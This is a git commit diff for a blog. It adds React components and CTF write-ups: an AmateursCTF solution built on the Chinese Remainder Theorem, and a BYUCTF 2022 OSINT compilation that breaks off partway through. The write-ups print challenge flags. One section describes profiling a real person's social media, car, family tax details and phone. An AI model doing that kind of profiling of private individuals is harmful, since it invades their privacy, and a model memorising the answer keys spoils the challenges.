chore: import rest of blog posts

This commit is contained in:
jason
2023-09-14 20:49:34 -07:00
parent 084f48fd64
commit 2d801cc429
219 changed files with 4674 additions and 251 deletions

46
components/Box.tsx Normal file
View File

@@ -0,0 +1,46 @@
import { Book, Flag, Info, CheckCircle2, AlertCircle } from 'lucide-react'
import React from 'react'
import ReactMarkdown from 'react-markdown'
import rehypeKatex from 'rehype-katex'
import remarkMath from 'remark-math'
const Box = ({ text, type }) => {
const typeMapping = {
warning: {
color: 'bg-destructive/30',
icon: AlertCircle,
},
info: {
color: 'bg-secondary',
icon: Info,
},
definition: {
color: 'bg-primary/25',
icon: Book,
},
theorem: {
color: 'bg-primary/25',
icon: CheckCircle2,
},
flag: {
color: 'bg-primary/25',
icon: Flag,
},
}
return (
<div className={`my-6 rounded-lg p-4 ${typeMapping[type].color} text-center`}>
<span className="mb-1 mr-2 inline-flex items-center justify-center align-middle">
{React.createElement(typeMapping[type].icon, { size: 16 })}
</span>
<ReactMarkdown
components={{ p: React.Fragment }}
remarkPlugins={[remarkMath]}
rehypePlugins={[rehypeKatex]}
children={text}
/>
</div>
)
}
export default Box

View File

@@ -122,7 +122,7 @@ const Challenge = ({
{authors && Array.isArray(authors) ? (
<>
<span className="flex items-center space-x-2">
<PenTool /> <b>authors</b>:
<PenTool size={14} strokeWidth={3} /> <b>authors</b>:
</span>
{authors.map((author, index) => (
<span key={index}>
@@ -133,8 +133,8 @@ const Challenge = ({
</>
) : (
authors && (
<span>
<PenTool /> <b>author</b>: {authors}
<span className="flex items-center space-x-2">
<PenTool size={14} strokeWidth={3} /> <b>author</b>: {authors}
<br />
</span>
)

View File

@@ -6,6 +6,8 @@ import Challenge from './Challenge'
import CodeBlock from './CodeBlock'
import CustomLink from './Link'
import StaticTweet from './StaticTweet'
import Box from './Box'
import YouTube from './YouTube'
export const components: MDXComponents = {
Image,
@@ -15,4 +17,6 @@ export const components: MDXComponents = {
CodeBlock,
Challenge,
StaticTweet,
Box,
YouTube,
}

74
components/YouTube.tsx Normal file
View File

@@ -0,0 +1,74 @@
import React from 'react'
const YouTube = ({
youTubeId,
youTubePlaylistId,
aspectRatio = '16:9',
autoPlay = false,
skipTo = { h: 0, m: 0, s: 0 },
noCookie = false,
}) => {
const { h, m, s } = skipTo
const tH = h * 60
const tM = m * 60
const startTime = tH + tM + s
const provider = noCookie ? 'https://www.youtube-nocookie.com' : 'https://www.youtube.com'
const baseUrl = `${provider}/embed/`
const src = `${baseUrl}${
youTubeId
? `${youTubeId}?&autoplay=${autoPlay}&start=${startTime}`
: `&videoseries?list=${youTubePlaylistId}`
}`
return (
<div
className="youtube-mdx-embed my-6 relative w-full"
style={{
...getPadding(aspectRatio),
}}
>
<iframe
data-testid="youtube"
title={`youTube-${youTubeId ? youTubeId : youTubePlaylistId}`}
src={src}
frameBorder="0"
allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture"
allowFullScreen
style={{
position: 'absolute',
top: 0,
left: 0,
width: '100%',
height: '100%',
}}
/>
</div>
)
}
const getPadding = (aspectRatio) => {
const config = {
'1:1': {
paddingTop: '100%',
},
'16:9': {
paddingTop: '56.25%',
},
'4:3': {
paddingTop: '75%',
},
'3:2': {
paddingTop: '66.66%',
},
8.5: {
paddingTop: '62.5%',
},
}
// @ts-ignore
return config[aspectRatio]
}
export default YouTube

View File

@@ -0,0 +1,327 @@
---
title: 'AmateursCTF 2023: Chinese Remainder Theorem, Carnival Games and 2048-bit Integers'
date: '2023-07-24'
lastmod: '2023-07-24'
tags: ['programming', 'algorithm']
authors: ['enscribe']
summary: 'AmateursCTF 2023 offered an interesting programming challenge: guess a 2048-bit (~617-digit) integer through querying its greatest common divisors!'
thumbnail: '/static/images/actf-2023/banner.svg'
images: ['/static/images/actf-2023/banner.webp']
layout: PostSimple
---
### Intro
High school CTF team [View Source](https://ctftime.org/team/175828) and I participated in [AmateursCTF 2023](https://ctftime.org/event/1983), placing 2nd both overall and in the student division. Although there were over 64 challenges to tackle throughout the four-day submission period, I personally only put emphasis on the OSINT and algorithm categories. Within these categories lay an interesting challenge: the `gcd-query` series, which I solved with an implementation of a very special algorithm. This was my process (paired alongside a lengthy analogy)!
---
<Challenge
title="gcd-query-v1"
authors="skittles1412"
solvers="jktrn"
category="algo"
points="475"
solves="43"
description="I wonder if this program leaks enough information for you to get the flag with less than 2048 queries... It probably does. I'm sure you can figure out how.
`nc amt.rs 31692`"
/>
We're initially provided with an attachment `main.py` and a remote server `amt.rs:31692`. The server component contains the following:
<CodeBlock
src="actf-2023/v1-attachment"
language="python"
fileName="main.py"
title="v1 Attachment"
/>
Let's go over step-by-step what this server is up to:
- For ten iterations, a long `x` is created by pycrypto's [`getRandomInteger(n)`](https://pythonhosted.org/pycrypto/Crypto.Util.number-module.html#getRandomInteger), which returns a random integer with up to $$n$$ bits in length. $$n = 2048$$; this is an absolutely mindbendingly large number — up to 617 digits long! You absolutely do not want to see what 617 digits looks like in decmimal:
![2048-bit Visual](/static/images/actf-2023/2048.svg)
- For each iteration of `x`, the user gets prompted to enter two integers `n` and `m`. Once the assertion that `m > 0` is passed, `n` and `m` are passed into a function `gcd(x + n, m)`, which returns the **greatest common divisor** of `x + n` and `m`. This occurs for 1412 iterations.
- After the iterations have completed, the user is then prompted to guess the value of `x`. If the guess is correct, the next iteration of `x` begins. This process is repeated nine more times until the flag is printed.
Here is a quick visual depicting what's going on:
![Source Code Graphical Visualization](/static/images/actf-2023/visualization.svg)
Paying close attention to the right side of this graphic, we can see that there's only a couple specific points at which we can interact with the server: when we pick the `n` and `m` to send, and when we guess the value of `x`. The question now is: what values should we be picking for `n` and `m` which reveal the most information about `x`, and how do we use this information to obtain its actual value?
### The Chinese Remainder Theorem
<Box
text="**Recall**: The *modulus* is the remainder of [Euclidian division](https://en.wikipedia.org/wiki/Euclidean_division) (division with remainder) of one number by another. For example, $$2 = 12 \pmod{5}$$.
However, this is different from the **congruence modulo** relation, represented by the congruence symbol $$\equiv$$ and often expressed as $$a \equiv b \pmod{m}$$. When two numbers $$a$$ and $$b$$ are congruent modulo $$m$$, it means that:
1. $$a$$ and $$b$$ have the same remainder when divided by $$m$$
2. $$a - b$$ is divisible by $$m$$ (i.e. $$m \mid (a - b)$$)
3. There is an integer $$k$$ such that $$a = km + b$$
As such, $$12 \equiv 2 \pmod{5}$$ is true, but $$12 = 2 \pmod{5}$$ is obviously false."
type="info"
/>
We start with a concept called a "system of congruences." A system of congruences is a set of equations of the form $$x \equiv a_i \pmod{m_i}$$, where $$a_i$$, $$b_i$$, and $$m_i$$ are integers. The $$m_i$$ values are called the **moduli** of the system. Here's a quick example of this:
$$
\begin{cases}
x &\equiv 1 \pmod{2} \\
x &\equiv 2 \pmod{3} \\
x &\equiv 3 \pmod{5}
\end{cases}
$$
In this system, we have three congruences with moduli $$2$$, $$3$$, and $$5$$. The goal is to find a value for $$x$$ that satisfies all three congruences simultaneously.
Thus, we can apply the Chinese Remainder Theorem:
<Box
text="**Chinese Remainder Theorem**: Given pairwise coprime integers $$n_1, n_2, \ldots, n_k$$ and arbitrary integers $$a_1, a_2, \ldots, a_k$$, the system of simultaneous congruences
$$
\begin{cases}
x &\equiv a_1 \pmod{n_1} \\
x &\equiv a_2 \pmod{n_2} \\
\vdots \\
x &\equiv a_k \pmod{n_k}
\end{cases}
$$
has a solution, and the solution is unique modulo $$N = n_1 n_2 \cdots n_k$$."
type="theorem"
/>
<Box
text="**Note**: Although the Chinese Remainder Theorem is often stated with pairwise coprime moduli (meaning that for a set of moduli $$M = \{n_1, n_2, \ldots, n_k\}$$, $$\gcd(n_i, n_j) = 1$$ for all $$i \neq j$$), it can be extended to non-coprime moduli. However, doing so does not guarantee a solution — this will become increasingly relevant as we get towards our implementation process."
type="info"
/>
You may be asking: what the hell does this have to do with guessing the giant integer that we've been given? Well, I've concocted a little example here to demonstrate how we can use this theorem to our advantage.
### Tne Modular Arithmetic Nerd's Favorite Carnival Game
![Carnival Game](/static/images/actf-2023/carnival-visual.svg)
Let's say little Bob over at the bottom right goes to a carnival game booth and is asked to guess a number on a ball behind the operator. Obviously, since we're omnipotent observers in this fantastical 2D universe of cute little cartoon circle people, we know that the number is $$x = 727$$. However, Bob doesn't know shit. He's really good at modular arithmetic though, so he'll have a lot of fun with this one.
Bob's told that he can give the operator a piece of paper with two integers of his arbitrary choice: `n` and `m`. As long as `m` is above 0, the operator will always give him back a piece of paper with `n` and `m` passed into `gcd(x + n, m)`. However, the operator's shift is about to end soon, and he estimates that he'll probably accept only about three pieces of paper from Bob until he closes shop.
Bob goes back to his table. He's flabbergasted. How in the world is he going to guess that number with only three pieces of information?
He rummages around his little noggin and recollects himself. Let's see what he's thinking:
![Bob Thinking](/static/images/actf-2023/bob-thinking.svg)
Uh... thanks, I guess? Well, he has a good point, but since I guarantee that nobody read it (because it's too long for the average CTF player's attention span) I'll give a brief TL;DR here.
Bob's saying that per the definition of a "greatest common divisor," in the scenario $$d = \gcd(a, b)$$, both $$a \pmod{d} = 0$$ and $$b \pmod{d} = 0$$ is true. Since we're given the function `d = gcd(x + n, m)`, we can therefore say that $$(x + n) \pmod{d} = 0$$ and $$m \pmod{d} = 0$$.
We can introduce an integer $$k$$ into the mix and rewrite $$(x + n) \pmod{d} = 0$$ as $$\frac{(x + n)}{d} = k$$. Let's algebraify this up to get to the state that we want it to:
$$
\frac{(x + n)}{d} = k \\
(x + n) = kd \\
x \equiv kd - n \pmod{d} \\
x \equiv -n \pmod{d}
$$
Replacing $d$ with the `gcd()` function:
$$
x \equiv -n \pmod{\gcd(x + n, m)}
$$
Doesn't that look very, very familiar to the system of congruences that we were talking about earlier? Now, all we need to do is decide what values of $n$ and $m$ to pick.
Bob's decided that his three attempts is nowhere near enough attempts to do anything reasonable with a fixed offset $$n$$. He's discovered something a bit more clever: **what if you changed the value of $$n$$ every time?** In doing so, it provides information about the offset from 0 modulo that GCD. He's selected the following values for $$n$$:
$$
\begin{cases}
n_1 &= 0 \\
n_2 &= -1 \\
n_3 &= -2
\end{cases}
$$
<Box
text="Note: Bob's chosen negative values for $$n_2$$ and $$n_3$$ because of the earlier relation established, $$x \equiv -n \pmod{\gcd(x + n, m)}$$. Making $$n$$ negative creates positive remainders."
type="info"
/>
For $$m$$, Bob chooses a very large **primorial**:
<Box
text="**Primorial**: For the $$n$$th prime number $$p_n$$, the primorial $$p_n\#$$ is defined as the product of the first $$n$$ primes:
$$
p_n\# = \prod_{k=1}^n p_k
$$
where $$p_k$$ is the prime number.
"
type="definition"
/>
Primorials have the special property in that since they're the product of the first $$n$$ primes, they're guaranteed to have a lot of prime factors. When thrown into the `gcd()` function, this will give us tons of information about the prime factors of $$x$$ since we're a lot more likely to get a hit (a miss would be if $$\gcd(x + n, m) = 1$$).
Bob's ended up deciding on $$m = p_{11}\#$$. He pulls out his laptop and calculates it with Python:
<CodeBlock
src="actf-2023/v1-primorial"
language="python"
fileName="primorial.py"
title="Calculating Primorials"
/>
<CodeBlock src="actf-2023/v1-primorial-run" rawHTML={true} terminal={true} />
Bob's now ready to go! He walks up to the operator and hands him his pieces of paper. The operator hastily hands him back three pieces of paper with the resulting GCDs:
![Bob Handing Papers](/static/images/actf-2023/handing-papers.svg)
Now he knows that:
$$
\begin{cases}
x \equiv 0 \pmod{1} \\
x \equiv 1 \pmod{66} \\
x \equiv 2 \pmod{145}
\end{cases}
$$
and he can apply the Chinese Remainder Theorem to solve for $$x$$. Bob opens back up his laptop and runs the following code:
<CodeBlock
src="actf-2023/v1-crt"
language="python"
fileName="crt.py"
title="Solving the Carnival Puzzle"
/>
<CodeBlock src="actf-2023/v1-crt-run" rawHTML={true} terminal={true} />
Bob's got the number! Congratulations, Bob!
![Congrats, Bob!](/static/images/actf-2023/congrats-bob.svg)
### Implementation
Hopefully through this example, you've gained a bit of intuition on where CRT is derived from, why we chose those particular values, and why it works. Now, let's apply this to the actual challenge.
Here is the script that I used to solve this challenge. It's very straightforward and readable in comparison to other scripts I've seen, so I felt it was redundant to go through the step-by-step process. I've added comments to explain what's going on.
<CodeBlock
src="actf-2023/v1-solve"
language="python"
fileName="gcd-query-v1.py"
title="gcd-query-v1 Solve"
/>
Let's run the script on the remote server:
<CodeBlock
src="actf-2023/v1-run"
rawHTML={true}
terminal={true}
scrollable={true}
wrapLongLines={true}
/>
We've solved `gcd-query-v1`!
<Box text="**gcd-query-v1**: `amateursCTF{probabilistic_binary_search_ftw}`" type="flag" />
---
<Challenge
title="gcd-query-v2"
authors="hellopir"
solvers="jktrn"
category="algo"
points="481"
solves="34"
description="I thought that skittles1412's querying system wasn't optimized enough, so I created my own. My system is so much more optimized than his!
`nc amt.rs 31693`"
/>
Of course there's a continuation. Let's see what attachment we're given now:
<CodeBlock
src="actf-2023/v2-attachment"
language="python"
fileName="main.py"
title="v2 Attachment"
/>
It seems that they haven't changed much. The only things that are different are:
- `getRandomInteger()`'s `n` value has been reduced from 2048 to 128 bits (~39 digits)
- We no longer need to complete ten iterations of different random integers; now it's only one iteration of a single random integer
- We only get 16 iterations of `gcd()` instead of 1412
Well, first step is to try and rerun the same script that we used for `gcd-query-v1` with some minor edits:
<CodeBlock
src="actf-2023/v2-edit"
language="python"
fileName="gcd-query-v2.py"
title="gcd-query-v2 Solve Attempt"
removedLines={[
[10, 10],
[13, 13],
[17, 17],
]}
addedLines={[
[11, 11],
[18, 18],
]}
/>
<CodeBlock src="actf-2023/v2-edit-run" rawHTML={true} terminal={true} />
Well, that didn't work. We're correctly parsing input and a number is being generated, but for some reason the server is telling us to "get better lol".
I added some print statements to see what we were getting in our moduli and remainder arrays:
<CodeBlock src="actf-2023/v2-print" rawHTML={true} terminal={true} />
Wow, check out that moduli array... that's not even nearly enough prime factors to accurately apply CRT. Let's increase the primorial then for increased chances:
<CodeBlock
src="actf-2023/v2-primorial-edit"
language="python"
fileName="gcd-query-v2.py"
title="Changing Primorial"
range={[[6, 10]]}
addedLines={[[8, 9]]}
removedLines={[[6, 7]]}
/>
Let's try running the script again:
<CodeBlock src="actf-2023/v2-run" rawHTML={true} terminal={true} />
We've managed to solve the entire challenge with only 16 queries!
<Box
text="**gcd-query-v2**: `amateursCTF{crt_really_is_too_op...wtf??!??!?!?must_be_cheating!!...i_shouldn't've_removed_query_number_cap.}`"
type="flag"
/>
---
### Afterword
Thanks to everyone from les amateurs for hosting this CTF! I had a lot of fun solving these challenges and I hope to see more from you guys in the future. I'd also like to credit Quasar, [SuperBeetleGamer](https://www.cryptohack.org/user/SuperBeetleGamer/), and [flocto](https://ctftime.org/user/121085) for helping me wrap my head around CRT in general throughout the process of writing this (because I almost always learn along the way). I hope you learned something like I did!
Sources:
- [Wikipedia: Chinese Remainder Theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem)
- [Wikipedia: Primorial](https://en.wikipedia.org/wiki/Primorial)
- [Brilliant: Chinese Remainder Theorem](https://brilliant.org/wiki/chinese-remainder-theorem/)

View File

@@ -0,0 +1,431 @@
---
title: 'BYUCTF 2022: OSINT Compilation'
date: '2022-05-28'
lastmod: '2022-05-28'
tags: ['osint', 'compilation']
authors: ['enscribe']
summary: 'Discover various pertinent aspects of digital open-source intelligence. This is my OSINT writeup compilation for the BYUCTF 2022 capture-the-flag competition.'
thumbnail: '/static/images/byuctf-2022/banner.svg'
images: ['/static/images/byuctf-2022/banner.webp']
layout: PostSimple
---
### Intro
So, we played BYUCTF 2022. There were **9 OSINT challenges**. 9. It was absolutely party-time for a CTF player w/ OSINT-emphasis like me, and a tragedy for people who dislike the inherently guessy nature behind the genre. Our team managed to solve them all, so here was our (albeit flawed) thought process behind it.
<Box
type="info"
text="**Important note**: Some of our lines of reasoning don't make sense at all. That's normal for this category, and it comes from a crap ton of brainstorming, guesswork, and admin communication. I'll try my best to include wrong paths that we took, but for the sake of brevity some of it will be omitted."
/>
Oh, also, here is a haiku to express my carnal, passionate, burning hatred for OSINT:
<div className="text-center">
> Submerged in my tears,
> I yearn for painless release.
> The dreadful OSINT...
<figcaption>— enscribe</figcaption>
</div>
Thank you, and enjoy.
---
<Challenge
title="I don't dream about noodles, dad"
solvers="jktrn"
files="[po.png](/static/images/byuctf-2022/po1.png)"
category="osint"
points="100"
description="Whose signature is found beneath Po's foot?
Flag format: `byuctf{Firstname_Lastname}`
<Image src='/static/images/byuctf-2022/po1.png' className='!mb-0 w-72' alt='po.png' />
<figcaption>po.png</figcaption>"
/>
I did a quick [Google Lens](https://lens.google/) search with my phone with the keyword "BYU" attached and [this](https://universe.byu.edu/2012/09/27/5-campus-locations-you-didnt-know-existed/) article turned up:
<Image src="/static/images/byuctf-2022/po2.png" width="400" height="280" className="!mb-0" />
<figcaption>Credit to *The Daily Universe*</figcaption>
> Jason Turner is a BYU computer science program graduate who works at DreamWorks and created all the data for Pos character. The statue is a tribute to his success, as well as the Universitys program and alumni.
Since the tribute is for Jason Turner, we can assume the signature is below his foot. The flag is `byuctf{Jason_Turner}`.
---
<Challenge
title="Oh The Vanity"
solvers="sahuang"
files="[sharky1.png](/static/images/byuctf-2022/sharky1.png)"
category="osint"
points="100"
description="The vanity and audacity of these scammers and their phishing attacks are just getting ridiculous. I read an article this month about a new way to mask phishing campaigns. They even included this photo. Find the date the article was published.
Flag format: `byuctf{mm-dd-yyyy}`
<img src='/static/images/byuctf-2022/sharky1.png' className='!mb-0 w-72' alt='sharky.png'>
<figcaption>sharky1.png</figcaption>"
/>
Reverse Google Search with a "phishing" crib:
<Image src="/static/images/byuctf-2022/sharky2.png" width="450" height="450" className="!mb-0" />
<figcaption>Reverse image search via Google</figcaption>
The [Vanity URL on darkreading.com](https://www.darkreading.com/cloud/vanity-urls-could-be-spoofed-for-social-engineering-attacks) was published on May 11th, 2022. The flag is `byuctf{05-11-22}`.
---
<Challenge
title="B0uld3r1ng"
solvers={['sahuang', 'jktrn', 'Battlemonger']}
files="[b0uld3r1ng.png](/static/images/byuctf-2022/bouldering1.png)"
category="osint"
points="416"
description="I met a guy named Sam while climbing here in California. Can't remember what it's called though. Kinda looks like reptilian don't you think?
<img src='/static/images/byuctf-2022/bouldering1.png' className='!mb-0 w-72' alt='b0uld3r1ng.png'>
<figcaption>b0uld3r1ng.png</figcaption>"
/>
Once again, I used Google Lens to figure out where the location of this image was. Turns out to be a place called the "Lizard's Mouth Rock" in Santa Barbara County, California:
<Image
src="/static/images/byuctf-2022/bouldering2.png"
width="300"
height="450"
className="!mb-0"
/>
<figcaption>*Lizard's Mouth Rock* Google search</figcaption>
The image given to us is a direct screenshot of an image posted by Maps contributor [Jonathan P.](https://www.google.com/maps/contrib/104742787928495148360), although that has little relevance to the challenge.
Moving on, although we have the location of the image taken the flag is in _explicit format_, meaning that it's somewhere on the internet wrapped with `byuctf{...}`. We noticed that a guy named "Sam" was mentioned, so we guessed that we could find him leaving a review of the place on a platform.
We checked through the following platforms: Yelp, Google Reviews, TripAdvisor, AllTrails — yet, we couldn't find a recent reviewer by the name of Sam. Luckily, one of my team members searched up "Bouldering Lizard's Mouth" (based on the challenge name) and happened to stumble across [this website](https://www.mountainproject.com/area/105885134/the-lizards-mouth):
<Image
src="/static/images/byuctf-2022/bouldering3.png"
width="450"
height="450"
className="!mb-0"
/>
<figcaption>*The Lizard's Mouth* on Mountain Project</figcaption>
We scrolled down to the "Reviews" section and found this:
![Bouldering Comments](/static/images/byuctf-2022/bouldering4.png)
Hey, look! A Sam! Let's check out their [profile](https://www.mountainproject.com/user/201354492/samuel-sender):
![Samuel Profile](/static/images/byuctf-2022/bouldering5.png)
The flag is `byuctf{ju5t_5end_1t_br0_v8bLDrg}`.
---
<Challenge
title="Squatter's Rights"
solvers={['jktrn', 'sahuang']}
files="[geoguesser.png](/static/images/byuctf-2022/squatter1.png)"
category="osint"
points="489"
description="Somehow, somewhere, something in this picture has a flag, but my friend Blue Orca won't tell me where it is!!!! Can you help me??
<img src='/static/images/byuctf-2022/squatter1.png' className='!mb-0 w-72' alt='geoguesser.png'>
<figcaption>geoguesser.png</figcaption>"
/>
Hey, look! Another Google Lens problem! Although there's a lot of blue water towers out there, I luckily stumbled across one that looked really similar in Flint, Michigan:
<Image src="/static/images/byuctf-2022/squatter2.png" width="300" height="300" />
Going to the [webpage](http://www.eureka4you.com/water-michigan/MI-Flint1.htm), it mentions that this water tower is in "Genesee County. Mid Michigan.", so with a quick Maps search I stumble across the "Wyatt P. Memorial Water Tower":
![Google Maps Search](/static/images/byuctf-2022/squatter3.png)
This is where the rabbit hole begins. I looked around the reviews section of this place and found the absolute weirdest, most hilarious reviews of all time:
> In all my days, I have never seen such a magnificent water tower. Being in its presence has given me powers beyond comprehension. I have mastered flight in the downward direction. I have 100% recall of events that happened to me in the last 5 minutes. I have also discovered I am completely invisible when no one is looking. This water tower has changed my view of who I am, and my ultimate potential.
<figcaption>— Robert Skouson</figcaption>
This guy even claims it to be holy water:
> This water from Wyatt P. Memorial Water tower has changed the way I see water, and drink it. Every time I see this water tower, it makes me want quality water. Forget Poland Spring or Fiji. This is quality water! You know how in the Book of John Chapter 2, the Savior Jesus Christ turned water into wine? Well he actually turned already good wine to water from Wyatt P. Memorial Water tower.
<figcaption>— Nicholas Martinez</figcaption>
This one might be my favorite:
> Professionally speaking as a water tower enthusiast, this has to be one of the best water towers that I've ever visited and I've visited thousands. The divine structure of the 10 legs leading to the plumply, robust water basin is enough to get any man excited. The satisfying twang as you bang the side wall sends shivers down even the most hardened of souls. Never before has such a feat been attempted and accomplished. Truly this should be the EIGHTIETH WONDER OF THE WORLD.
<figcaption>— McKay Lush</figcaption>
I actually stumbled across the person it's named after, Wyatt Pangerl, and I was super curious as to what the hell was going on:
![Wyatt](/static/images/byuctf-2022/squatter4.png)
So I opened a ticket. Turns out, this Wyatt guy, a member of their team, managed to get the water tower named after himself after a series of divine, godlike social engineering strategies (assumedly to the county) and exploitation of the [Squatter's Rights](https://homeguides.sfgate.com/squatters-rights-law-california-45887.html) law in California. He also claimed the location on Google Maps and put his burner phone there as well, which we called (he didn't pick up). When I found his Facebook (will not disclose), I saw a multitude of his friends commenting hilarious crap, calling him "ICONIC." and a "LEGEND." for managing to make it happen.
Yet, there was no flag.
I continued to look around and managed to fall deeper into the rabbit hole, OSINTing everything between the model of [Wyatt's car](https://www.kbb.com/chrysler/crossfire/2006/), a Chrysler Crossfire 2006 (🤣) to where his parents file taxes... I even managed to get an award from a head admin for being a dumbass:
![Discord screenshot of award](/static/images/byuctf-2022/squatter5.png)
Then, while on the go, I checked the location on my phone... And look what we've got:
<Image src="/static/images/byuctf-2022/squatter6.png" width="400" height="300" />
Apparently for whatever stupid, scatter-brained, vapid, moronic reason this "From the owner" section isn't on Google Chrome. Screw you Wyatt, and your majestic, plump, baby-blue water tower. The flag is `byuctf{h0w_d1d_1_st34l_4_w4t3r_t0w3r}`. Once again, screw you Wyatt. I hope your taxes are messed up forevermore.
<Box
type="info"
text={`**Note**: This "From the owner" section is [available on Desktop Google Chrome](https://www.google.com/search?q=Wyatt+P.+Memorial+Water+Tower), but only accessible if the knowledge panel is visible, which wasn't the case for me.`}
/>
---
<Challenge
title="Okta? More like OhNah"
solvers={['Battlemonger', 'jktrn']}
category="osint"
points="490"
description={
'Recently, the group known as LAPSUS$ released indications they breached Microsoft & one of the Largest SSO companies, Okta. In some of their leaks they hinted that "most of the time if you don\'t do anything like __________, you won\'t be detected".<br>Flag format: `byuctf{answer:timestamp in format HH:MM}`, two word answer seperated by an underscore.'
}
/>
Looks like a challenge regarding an infamous hacking group. Seeing that the flag asks for a timestamp and the language is pseudo-colloquial, I'd safely assume that this text mentioned somewhere came from a messaging board. I downloaded _Telegram_, their main method of communication with the real world, joining their [announcements board](https://t.me/minsaudebr), yet upon a `Ctrl` + `F` I couldn't find this message anywhere. Their board mentions a [group chat](https://t.me/saudechat), but it was recently purged and terminated. When the admin confirmed that this wasn't the intended solution, I moved towards looking for screenshots surrounding the Okta leak. Our team found this [tweet from John Hammond](https://twitter.com/_JohnHammond/status/1506166671664463875) after a while:
<StaticTweet
avatar="https://pbs.twimg.com/profile_images/1475480482305523712/_tDlpLhl_400x400.jpg"
username="John Hammond"
handle="_JohnHammond"
date="March 22, 2022"
text="even da big ones [shocked pikachu]"
src="https://twitter.com/_JohnHammond/status/1506166671664463875"
media="https://pbs.twimg.com/media/FOb6HHHXwAA3ORe?format=png&name=small"
/>
The flag is `byuctf{port_scanning_11:22}`. A hint was later added to the challenge:
> think screenshots! it is not on telegram but another platform with that same first letter. tweeted by a famous red head i think
It would have been much easier with this information... love you, John Hammond.
---
<Challenge
title="Murder Mystery"
solvers={['Battlemonger', 'jktrn']}
category="osint"
points="499"
description="While searching for secrets of the past, you find a scrap of paper that contains the following information:
```text
01101110011100100110100001110000011010-
01011001000100110001001011110100001111
June 29, 1902
```
Because you're great at OSINT, you trace this information back to a famous inscription. What is that inscription?
**Flag**: `byuctf{inscription_with_underscores}`
**Note**: the flag will not include the name or dates found in the inscription."
/>
Instantly, we moved to [Cyberchef](https://gchq.github.io/CyberChef/) for the binary conversion, and it resulted in `nrhpidLKÐ`. We thought it was garbage at first, until a teammate noticed "NRHP ID" within the string, which is related to the [National Register of Historic Places](https://history.idaho.gov/nrhp/). Since there's a historic date also in the description, we can immediately conclude that this is the correct path to take. We isolated the last part and converted it into decimal instead - `80002319`.
Following the trail for `NRHP ID 80002319`, we found this [UpWiki Page](https://en.upwiki.one/wiki/Jesse_James_Home_Museum) About the "Jesse James Home Museum", which is the location registered under this ID.
When we looked up "jesse james famous inscription", we found a [Smithsonian Magazine](https://photocontest.smithsonianmag.com/photocontest/detail/the-original-grave-site-of-jesse-james-located-in-the-yard-of-the-james-fam/) page that photographs Mr. James' grave:
<Image src="/static/images/byuctf-2022/mystery1.png" width="400" height="300" />
Removing the dates and names as the description specifies, the flag is `byuctf{murdered_by_a_traitor_and_coward_whose_name_is_not_worthy_to_appear_here}`.
---
<Challenge
title="Buckeye Billy Birthday"
solvers={['Battlemonger', 'sahuang', 'jktrn']}
category="osint"
points="500"
description="Buckeye Billy, our lovely, nutty, history loving friend, has a birthday coming up! Billy is as cryptic as can be, and we have no idea what to get him for his birthday. We did find three hints on written on his desk. Can you help us find where we should buy a gift from?
[Hint 1](https://mywordle.strivemath.com/?word=sokhc) [Hint 2](https://mywordle.strivemath.com/?word=yocod) [Hint 3](https://mywordle.strivemath.com/?word=lffep)
format: `byuctf{storename}`"
/>
I took a look at the three hints, and they were Wordle games that resulted in `WATER`, `CALLS`, and `PROBE`. Since we were looking for a shop (meaning a location), we immediately turned to [what3words](https://what3words.com/) and stumbled across [this location](https://what3words.com/water.calls.probe) in Charlotte, Ohio:
![Screenshot of what3words location](/static/images/byuctf-2022/bday1.png)
We tried a couple of stores around the area to no avail, until an admin told us in a ticket that we were in the wrong place. By extension, we decided to try out various permutations of `water`, `calls` and `probe`:
| what3word address | Location |
| -------------------------------------------------------- | ------------------------- |
| [///water.calls.probe](https://w3w.co/water.calls.probe) | Charlotte, North Carolina |
| [///calls.water.probe](https://w3w.co/calls.water.probe) | Detroit, Michigan |
| [///probe.water.calls](https://w3w.co/probe.water.calls) | Houston, Texas |
| [///water.probe.calls](https://w3w.co/water.probe.calls) | Cincinnati, Ohio |
| [///calls.probe.water](https://w3w.co/calls.probe.water) | Albuquerque, New Mexico |
| [///probe.calls.water](https://w3w.co/probe.calls.water) | Eastbourne, London |
Most of them were bogus except [///water.probe.calls](https://what3words.com/water.probe.calls), which was on E. McMillan St, Cincinnati, Ohio. We assumed it was correct (and admin later confirmed) because the nickname "Buckeye Billy" comes from the fact that he loves the [Ohio State University Buckeyes](https://ohiostatebuckeyes.com/) football team. (Bonus: The Ohio Buckeye is a type of nut, and the description says that he is "nutty"). Our teammate somehow connected "history-loving" to old stores in Cincinnati, Ohio, and upon a Google search we found:
<Image src="/static/images/byuctf-2022/bday2.png" width="500" height="300" />
The flag is `byuctf{graeters}`. This was a guessy challenge, so don't feel dumb. I felt dumb too.
---
<Challenge
title="Buckeye Billy Blabbin'"
solvers={['Battlemonger', 'jktrn']}
category="osint"
points="500"
description="Buckeye Billy discovered social media. And probably posts too much. Try to see what you can find. for this problem and others!
Flag will be completely visible once solved! You will see `byuctf{}`."
/>
Step 0 is to find his social media account, which we did by searching "Buckeye Billy" on [Twitter](https://twitter.com/William_buckeye):
![Screenshot of Buckeye Billy's Twitter](/static/images/byuctf-2022/blabbin1.png)
We scoured his Twitter account on the Wayback Machine for it to no avail (and even found some [deleted stuff](https://web.archive.org/web/20220415232856/https://twitter.com/William_buckeye/status/1515109844771999745) from a previous internal CTF).
I slowly began to despise him... that Buckeye Billy. That stupid, perfectly circular nuthead with the even stupider BYU sombrero. We gave up on the challenge and I cried to the admin until he got annoyed and agreed to post a global hint:
> the more billy tweeted about something, the more of a hint it might be. The flag is on his account someplace.
He tweeted a lot about song lyrics:
<StaticTweet
avatar="https://pbs.twimg.com/profile_images/1515107668242821125/ngThSrt8_400x400.jpg"
username="#1 Buckeye Fan billy"
handle="William_buckeye"
date="April 16, 2022"
text="With not enough to eat
Who am I, to be blind pretending not to see their needs?
A summer's disregard
A broken bottle top
And a one man's soul
They follow each other on the wind ya know
'Cause they got nowhere to go
That's why I want you to know
I'm starting with the ..."
src="https://twitter.com/William_buckeye/status/1515237428025462785"
/>
<StaticTweet
avatar="https://pbs.twimg.com/profile_images/1515107668242821125/ngThSrt8_400x400.jpg"
username="#1 Buckeye Fan billy"
handle="William_buckeye"
date="April 16, 2022"
text="Oh, are you some kind of magic mirror
Come to show to me
God in time and space
I saw the outline of my Maker dancing backlit
By the rays of your incandescent light
I saw the figure of my Father shadow dancing
By the flames of your electric desire"
src="https://twitter.com/William_buckeye/status/1515238210577657857"
/>
<StaticTweet
